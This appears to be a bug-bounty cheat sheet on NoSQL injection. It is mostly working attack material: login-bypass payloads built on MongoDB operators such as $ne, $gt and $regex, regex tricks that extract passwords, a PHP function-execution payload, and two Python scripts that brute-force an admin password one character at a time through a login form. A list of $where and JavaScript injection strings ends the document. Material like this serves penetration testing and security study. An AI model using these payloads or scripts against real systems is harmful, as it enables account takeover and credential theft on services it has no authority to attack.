AllAboutBugBounty/NoSQL Injection.md
2021-07-21 22:38:57 +07:00

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Markdown

## NoSQL injection
## Tools
* [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap)
## Exploit
### Authentication Bypass
Basic authentication bypass using not equal ($ne) or greater ($gt)
```
in the request
- username[$ne]=toto&password[$ne]=toto
- login[$regex]=a.*&pass[$ne]=lol
- login[$gt]=admin&login[$lt]=test&pass[$ne]=1
- login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
```
```json
The output is
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
```
### Extract length information
```json
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
```
### Extract data information
```json
in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### Extract data with "in"
```json
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
### PHP Arbitrary Function Execution
```json
"user":{"$func": "var_dump"}
```
## Blind NoSQL
### POST
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
```
### GET
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='admin'
password=''
u='http://example.org/login'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '&', '$']:
payload='?username=%s&password[$regex]=^%s' % (username, password + c)
r = requests.get(u + payload)
if 'Yeah' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
Another example using sleep to check vuln or not
```
'%2bsleep(1)%2b'
```
### MongoDB Payloads
```bash
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
## References
* [Hacktricks](https://book.hacktricks.xyz/pentesting-web/nosql-injection)
* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/README.md)